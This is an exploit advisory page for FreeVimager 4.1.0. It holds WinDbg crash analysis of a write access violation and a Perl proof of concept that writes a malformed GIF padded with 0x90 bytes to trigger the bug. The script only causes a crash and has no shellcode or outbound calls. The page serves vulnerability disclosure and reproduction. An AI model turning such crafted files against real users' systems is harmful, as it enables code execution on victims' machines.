FreeVimager 4.1.0 WriteAV Arbitrary Code Execution

2012.12.10
Risk: High
Local: Yes
Remote: No
CVE: N/A
CWE: N/A

#!/usr/bin/perl # FreeVimager 4.1.0 <= WriteAV Arbitrary Code Execution # Author: Jean Pascal Pereira <pereira@secbiz.de> # Vendor URI: http://www.contaware.com # Vendor Decription: # This is a Free & Fast Image Viewer and Editor for Windows. It can as well play avi video files, # ordinary audio files and audio CDs. There are many tools around doing that, but the aim of this # Freeware is to be a small and handy tool doing what it says and running also as a standalone # exe file (installer not necessary). # Debug info: # Microsoft (R) Windows Debugger Version 6.11.0001.404 X86 # Copyright (c) Microsoft Corporation. All rights reserved. # # CommandLine: "C:\Program Files\FreeVimager\FreeVimager.exe" C:\research\FreeVimager\crafted.gif # Symbol search path is: *** Invalid *** # **************************************************************************** # * Symbol loading may be unreliable without a symbol search path. * # * Use .symfix to have the debugger choose a symbol path. * # * After setting your symbol path, use .reload to refresh symbol locations. * # **************************************************************************** # Executable search path is: # ModLoad: 00400000 00c9a000 image00400000 # ModLoad: 7c900000 7c9b2000 ntdll.dll # ModLoad: 7c800000 7c8f6000 C:\WINDOWS\system32\kernel32.dll # ModLoad: 7e410000 7e4a1000 C:\WINDOWS\system32\USER32.dll # ModLoad: 77f10000 77f59000 C:\WINDOWS\system32\GDI32.dll # ModLoad: 763b0000 763f9000 C:\WINDOWS\system32\COMDLG32.dll # ModLoad: 77dd0000 77e6b000 C:\WINDOWS\system32\ADVAPI32.dll # ModLoad: 77e70000 77f03000 C:\WINDOWS\system32\RPCRT4.dll # ModLoad: 77fe0000 77ff1000 C:\WINDOWS\system32\Secur32.dll # ModLoad: 773d0000 774d3000 C:\WINDOWS\WinSxS\x86_Microsoft.Windows.Common-Controls_6595b64144ccf1df_6.0.2600.6028_x-ww_61e65202\COMCTL32.dll # ModLoad: 77c10000 77c68000 C:\WINDOWS\system32\msvcrt.dll # ModLoad: 77f60000 77fd6000 C:\WINDOWS\system32\SHLWAPI.dll # ModLoad: 7c9c0000 7d1d7000 C:\WINDOWS\system32\SHELL32.dll # ModLoad: 73000000 73026000 C:\WINDOWS\system32\WINSPOOL.DRV # ModLoad: 7df70000 7df92000 C:\WINDOWS\system32\oledlg.dll # ModLoad: 774e0000 7761e000 C:\WINDOWS\system32\ole32.dll # ModLoad: 77120000 771ab000 C:\WINDOWS\system32\OLEAUT32.dll # ModLoad: 75a70000 75a91000 C:\WINDOWS\system32\MSVFW32.dll # ModLoad: 76b40000 76b6d000 C:\WINDOWS\system32\WINMM.dll # ModLoad: 77be0000 77bf5000 C:\WINDOWS\system32\MSACM32.dll # ModLoad: 77c00000 77c08000 C:\WINDOWS\system32\VERSION.dll # ModLoad: 3d930000 3da16000 C:\WINDOWS\system32\WININET.dll # ModLoad: 00340000 00349000 C:\WINDOWS\system32\Normaliz.dll # ModLoad: 78130000 78263000 C:\WINDOWS\system32\urlmon.dll # ModLoad: 3dfd0000 3e1bb000 C:\WINDOWS\system32\iertutil.dll # (e48.568): Break instruction exception - code 80000003 (first chance) # ModLoad: 76390000 763ad000 C:\WINDOWS\system32\IMM32.DLL # ModLoad: 5ad70000 5ada8000 C:\WINDOWS\system32\uxtheme.dll # ModLoad: 74720000 7476c000 C:\WINDOWS\system32\MSCTF.dll # ModLoad: 755c0000 755ee000 C:\WINDOWS\system32\msctfime.ime # ModLoad: 76f50000 76f58000 C:\WINDOWS\system32\Wtsapi32.dll # ModLoad: 76360000 76370000 C:\WINDOWS\system32\WINSTA.dll # ModLoad: 5b860000 5b8b5000 C:\WINDOWS\system32\NETAPI32.dll # ModLoad: 73bc0000 73bc6000 C:\WINDOWS\system32\DCIMAN32.DLL # ModLoad: 76380000 76385000 C:\WINDOWS\system32\msimg32.dll # (e48.568): Access violation - code c0000005 (first chance) # First chance exceptions are reported before any exception handling. # This exception may be expected and handled. # eax=00008080 ebx=00000000 ecx=0151c14c edx=08000004 esi=00000002 edi=00008080 # eip=005c02c3 esp=0012ea58 ebp=0151a008 iopl=0 nv up ei pl nz ac pe nc # cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00210216 # *** WARNING: Unable to verify checksum for image00400000 # *** ERROR: Module load completed but symbols could not be loaded for image00400000 # image00400000+0x1c02c3: # 005c02c3 897c91f8 mov dword ptr [ecx+edx*4-8],edi ds:0023:2151c154=???????? # 0:000> r;!exploitable -v;q # eax=00008080 ebx=00000000 ecx=0151c14c edx=08000004 esi=00000002 edi=00008080 # eip=005c02c3 esp=0012ea58 ebp=0151a008 iopl=0 nv up ei pl nz ac pe nc # cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00210216 # image00400000+0x1c02c3: # 005c02c3 897c91f8 mov dword ptr [ecx+edx*4-8],edi ds:0023:2151c154=???????? # HostMachine\HostUser # Executing Processor Architecture is x86 # Debuggee is in User Mode # Debuggee is a live user mode debugging session on the local machine # Event Type: Exception # *** ERROR: Symbol file could not be found. Defaulted to export symbols for ntdll.dll - # *** ERROR: Symbol file could not be found. Defaulted to export symbols for C:\WINDOWS\system32\kernel32.dll - # Exception Faulting Address: 0x2151c154 # First Chance Exception Type: STATUS_ACCESS_VIOLATION (0xC0000005) # Exception Sub-Type: Write Access Violation # # Exception Hash (Major/Minor): 0x50747228.0x58333273 # # Stack Trace: # image00400000+0x1c02c3 # image00400000+0x1bfd07 # image00400000+0x18abb4 # kernel32!VirtualAllocEx+0x47 # kernel32!VirtualAlloc+0x18 # image00400000+0x18a0ef # image00400000+0x18a121 # image00400000+0x24fb01 # image00400000+0x24fc4e # image00400000+0x23be55 # image00400000+0x95a48 # image00400000+0x4fd8 # image00400000+0xf054e # image00400000+0xea85e # ntdll!RtlFreeHeap+0x130 # ntdll!RtlFreeHeap+0x130 # kernel32!CreateActCtxW+0xb6c # kernel32!CreateActCtxW+0xcbf # Instruction Address: 0x00000000005c02c3 # Proof of Concept: my $crafted = "\x47\x49\x46\x38\x39\x61\x18\x00\x18\x00\xC4\x00\x00\xA2\xC5". "\xE1\xEB\xF3\xF9\x8C\xB8\xDA\x49\x8E\xC3\x95\xBD\xDC\xFE\xFE". "\xFF\x75\xAA\xD3\x38\x84\xBE\xD5\xE5\xF1\x5D\x9A\xCA\x26\x78". "\xB8\x22\x76\xB7\xC4\xDA\xEC\xDD\xEA\xF4\x55\x96\xC8\xF4\xF8". "\xFC\x89\xB5\xD8\xF1\xF6\xFA\x28\x79\xB8\x87\xB5\xD8\x31\x7F". "\xBC\x23\x77\xB8\x9E\xC3\xE0\x9E\xC3\xDF\x68\xA1\xCE\xE6\xF0". "\xF7\xFA\xFC\xFD\x1F\x74\xB6\x8E\xB9\xDA\xFF\xFF\xFF\x1E\x73". "\xB5\x1E\x74\xB6\x21\xF9\x04\x00\x00\x00\x00\x00\x2C\x00\x00". "\x00\x00\x18\x00\x18\x00\x00\xFB\x05\x60"; my $junk = "\x90" x 163; open(C, ">:raw", "crafted.gif"); print C $crafted.$junk; close(C); # http://0xffe4.org

References:

http://www.contaware.com
http://0xffe4.org


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